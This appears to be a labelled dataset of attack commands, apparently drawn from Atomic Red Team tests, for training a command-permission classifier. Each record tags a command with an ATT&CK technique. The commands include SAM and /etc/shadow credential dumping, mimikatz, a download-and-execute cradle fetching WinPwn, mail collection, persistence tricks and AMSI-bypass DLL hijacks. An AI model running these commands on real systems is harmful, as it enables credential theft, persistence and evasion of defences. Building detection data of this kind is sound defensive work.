cowWhySo/permission-command-corpus huggingface dataset:
Command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: windows
ATT&CK tags: T1090.001
Source rule: portproxy reg key
Notes: Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
Upon execution there will be a new proxy entry in netsh
netsh interface portproxy show all
Command: netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: windows
ATT&CK tags: T1090.001
Source rule: portproxy reg key
Notes: Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
Upon execution there will be a new proxy entry in netsh
netsh interface portproxy show all
Command: mv #{settings_json_def} #{settings_json_tmp} Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}" wt.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.015
Platform: windows
ATT&CK tags: T1547.015
Source rule: Persistence by modifying Windows Terminal profile
Notes: Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)
Command: mv -Force #{settings_json_tmp} #{settings_json_def} taskkill /F /IM "#{calculator}" > $null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.015
Platform: windows
ATT&CK tags: T1547.015
Source rule: Persistence by modifying Windows Terminal profile
Notes: Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)
Command: osascript #{scriptfile}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.015
Platform: macos
ATT&CK tags: T1547.015
Source rule: Add macOS LoginItem using Applescript
Notes: Runs osascript on a file to create new LoginItem for current user.
NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events"
Therefore, it can't be automated until the TCC is granted.
The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
In addition to the `osascript` Process Events, file modification events to
`/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
Command: osascript #{cleanup_script}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.015
Platform: macos
ATT&CK tags: T1547.015
Source rule: Add macOS LoginItem using Applescript
Notes: Runs osascript on a file to create new LoginItem for current user.
NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events"
Therefore, it can't be automated until the TCC is granted.
The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
In addition to the `osascript` Process Events, file modification events to
`/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
Command: powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1" -file #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1114.001
Platform: windows
ATT&CK tags: T1114.001
Source rule: Email Collection with PowerShell Get-Inbox
Notes: Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.
Command: Remove-Item #{output_file} -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1114.001
Platform: windows
ATT&CK tags: T1114.001
Source rule: Email Collection with PowerShell Get-Inbox
Notes: Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.
Command: assoc #{extension_to_change}=#{target_extension_handler}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.001
Platform: windows
ATT&CK tags: T1546.001
Source rule: Change Default File Association
Notes: Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe.
Command: assoc #{extension_to_change}=#{original_extension_handler}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.001
Platform: windows
ATT&CK tags: T1546.001
Source rule: Change Default File Association
Notes: Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe.
Command: reg save HKLM\sam %temp%\sam reg save HKLM\system %temp%\system reg save HKLM\security %temp%\security
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: Registry dump of SAM, creds, and secrets
Notes: Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
Command: del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: Registry dump of SAM, creds, and secrets
Notes: Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
Command: "#{venv_path}\Scripts\pypykatz" live lsa
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: Registry parse with pypykatz
Notes: Parses registry hives to obtain stored credentials.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Command: esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: esentutl.exe SAM copy
Notes: Copy the SAM hive using the esentutl.exe utility
This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
Command: del #{copy_dest}\#{file_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: esentutl.exe SAM copy
Notes: Copy the SAM hive using the esentutl.exe utility
This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
Command: Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1" Invoke-PowerDump
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: PowerDump Hashes and Usernames from Registry
Notes: Executes a hashdump by reading the hashes from the registry.
Command: for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: dump volume shadow copy hives with certutil
Notes: Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM".
This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
Command: for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: dump volume shadow copy hives with certutil
Notes: Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM".
This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
Command: 1..#{limit} | % { try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}" , "$env:TEMP\#{target_hive}vss$_", "true") } catch {} ls "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: dump volume shadow copy hives with System.IO.File
Notes: Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
Command: 1..#{limit} | % { rm "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: dump volume shadow copy hives with System.IO.File
Notes: Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') samfile -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes
Notes: Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn
Command: reg export HKLM\sam %temp%\sam reg export HKLM\system %temp%\system reg export HKLM\security %temp%\security
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.002
Platform: windows
ATT&CK tags: T1003.002
Source rule: Dumping of SAM, creds, and secrets(Reg Export)
Notes: Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior
Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
Command: "#{mimikatz_exe}" "kerberos::ptt #{ticket}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1550.003
Platform: windows
ATT&CK tags: T1550.003
Source rule: Mimikatz Kerberos Ticket Attack
Notes: Similar to PTH, but attacking Kerberos
Command: sudo cat /etc/shadow > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/shadow (Local)
Notes: /etc/shadow file is accessed in Linux environments
Command: rm -f #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/shadow (Local)
Notes: /etc/shadow file is accessed in Linux environments
Command: sudo cat /etc/master.passwd > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/master.passwd (Local)
Notes: /etc/master.passwd file is accessed in FreeBSD environments
Command: cat /etc/passwd > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/passwd (Local)
Notes: /etc/passwd file is accessed in FreeBSD and Linux environments
Command: unamestr=$(uname) if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat
Notes: Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed
Command: testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) } [ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd testcat /etc/passwd testcat /etc/shadow
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.008
Platform: linux
ATT&CK tags: T1003.008
Source rule: Access /etc/{shadow,passwd,master.passwd} with shell builtins
Notes: Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins
Command: if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) { New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki } Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Store file in Alternate Data Stream (ADS)
Notes: Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
Command: Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Store file in Alternate Data Stream (ADS)
Notes: Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
Command: echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename} for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create ADS command prompt
Notes: Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp%
folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"
Command: del #{file_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create ADS command prompt
Notes: Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp%
folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"
Command: echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" set-content -path #{file_name} -stream #{ads_filename} -value "test2" set-content -path . -stream #{ads_filename} -value "test3"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create ADS PowerShell
Notes: Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
Command: Remove-Item -Path #{file_name} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create ADS PowerShell
Notes: Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
Command: md #{folder_name} echo too many secrets > #{folder_name}\#{hidden_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create Hidden Directory via $index_allocation
Notes: Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"
Command: rmdir /S /Q #{folder_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.004
Platform: windows
ATT&CK tags: T1564.004
Source rule: Create Hidden Directory via $index_allocation
Notes: Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"
Command: reg.exe import "#{registry_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.010
Platform: windows
ATT&CK tags: T1546.010
Source rule: Install AppInit Shim
Notes: AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message "The operation completed successfully." Each time the DLL is loaded, you will see a message box with a message of "Install AppInit Shim DLL was called!" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verif
Command: reg.exe import "#{registry_cleanup_file}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.010
Platform: windows
ATT&CK tags: T1546.010
Source rule: Install AppInit Shim
Notes: AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message "The operation completed successfully." Each time the DLL is loaded, you will see a message box with a message of "Install AppInit Shim DLL was called!" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verif
Command: copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.001
Platform: windows
ATT&CK tags: T1574.001
Source rule: DLL Search Order Hijacking - amsi.dll
Notes: Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
Command: del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.001
Platform: windows
ATT&CK tags: T1574.001
Source rule: DLL Search Order Hijacking - amsi.dll
Notes: Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
Command: copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.001
Platform: windows
ATT&CK tags: T1574.001
Source rule: Phantom Dll Hijacking - WinAppXRT.dll
Notes: .NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS
Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the 
WinAppXRT.dll is loaded everytime user launches an application using .NET.

Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will b
Command: reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.001
Platform: windows
ATT&CK tags: T1574.001
Source rule: Phantom Dll Hijacking - WinAppXRT.dll
Notes: .NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS
Setting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\windows\system32 (or any other location accessible via PATH) will ensure the 
WinAppXRT.dll is loaded everytime user launches an application using .NET.

Upon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will b
Command: copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll ualapi.dll copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll sc config Spooler start=auto
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.001
Platform: windows
ATT&CK tags: T1574.001
Source rule: Phantom Dll Hijacking - ualapi.dll
Notes: Re-starting the Print Spooler service leads to C:\Windows\System32\ualapi.dll being loaded
A malicious ualapi.dll placed in the System32 directory will lead to its execution whenever the system starts

Upon successful execution, amsi.dll will be copied and renamed to ualapi.dll and then ualapi.dll will be copied to system32 folder for loading during system restart.
Print Spooler service is also configured to auto start. Reboot of system is required